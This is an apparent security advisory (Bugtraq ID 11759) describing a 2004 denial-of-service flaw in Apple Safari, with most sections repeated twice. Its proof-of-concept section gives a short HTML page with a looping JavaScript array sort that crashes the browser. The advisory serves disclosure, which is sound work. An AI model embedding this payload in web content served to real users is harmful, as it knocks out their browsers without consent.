Apple Safari Web Browser Infinite Array Sort Denial Of Service Vulnerability
BID:11759
Info
Apple Safari Web Browser Infinite Array Sort Denial Of Service Vulnerability
| Bugtraq ID: | 11759 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 25 2004 12:00AM |
| Updated: | Nov 25 2004 12:00AM |
| Credit: | Discovery of the original issue is credited to Berend-Jan Wever. Marco Mella is credited with the discovery of the issue in the Safari browser. |
| Vulnerable: |
Apple Safari 1.2.3 Apple Safari 1.2.2 Apple Safari 1.2.1 Apple Safari 1.2 Apple Safari 1.1 Apple Safari 1.0 Apple Safari Beta 2 |
| Not Vulnerable: | |
Discussion
Apple Safari Web Browser Infinite Array Sort Denial Of Service Vulnerability
Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
Exploit / POC
Apple Safari Web Browser Infinite Array Sort Denial Of Service Vulnerability
The following example will cause the browser to crash:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
The following example will cause the browser to crash:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Solution / Fix
Apple Safari Web Browser Infinite Array Sort Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Apple Safari Web Browser Infinite Array Sort Denial Of Service Vulnerability
References:
References:
- Safari Homepage (Apple)
- FIREFOX flaws: nested array sort() loop Stack overflow exception ("Berend-Jan Wever"
)